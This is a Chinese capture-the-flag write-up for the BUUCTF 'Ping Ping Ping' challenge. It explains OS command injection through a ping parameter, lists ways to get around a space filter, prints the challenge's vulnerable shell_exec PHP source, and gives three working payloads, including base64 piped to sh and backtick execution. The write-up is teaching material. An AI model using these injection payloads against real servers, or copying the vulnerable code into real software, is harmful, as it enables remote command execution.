PING命令執行漏洞-繞過空格


PING命令執行漏洞-繞過空格

  1. 環境地址:https://buuoj.cn/challenges#[GXYCTF2019]Ping Ping Ping

  1. 我們看到/?ip=可以試一下本地ip

看到這里我們就能知道命令執行方法大概就是加上管道符“|”或者“;”

  1. 我們列出目錄下面的文件

    /?ip=127.0.0.1;ls
    

我們發現有flag.php和index.php兩個文件,嘗試讀取flag.php

發現空格被過濾了(fxck your space就是過濾空格的意思!)

這邊介紹一下繞過空格的方法大概有以下幾種

$IFS
${IFS}
$IFS$1   //$1改成$加其他數字貌似都行
$IFS$9      (Ubuntu下測試通過)后面加個$與{}類似,起截斷作用,$9是當前系統shell進程第九個參數持有者,始終為空字符串,如cat$IFS2$9flag.php
< 
<> 
{cat,flag.php}  //用逗號實現了空格功能
%20 
%09 

ps:有時會禁用cat:
解決方法是使用tac反向輸出命令:
linux命令中可以加\,所以甚至可以ca\t /fl\ag

然后我們嘗試用 ${IFS} 繞過空格,發現{}被ban

然后我們在嘗試用 $IFS$1 繞過空格,發現flag被ban

接着我們嘗試讀取一下index.php的內容

/?ip=

PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>

過濾了很多標點,空格,bash,flag,那么網上搜索有這幾種做法:

cat fl* 利用*匹配任意 不行
echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行
ca\t fl\ag.php 不行
cat fl''ag.php 不行

解決方法:

方法一:用變量拼接:我們發現源碼中有一個$a變量可以覆蓋

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

方法二:過濾bash?那就用sh。sh的大部分腳本都可以在bash下運行

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

方法三:內聯執行的做法

?ip=127.0.0.1;cat$IFS$9`ls`

內聯,就是將反引號內命令的輸出作為輸入執行

參考連接:

https://www.jianshu.com/p/fd7f9fcc9333


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM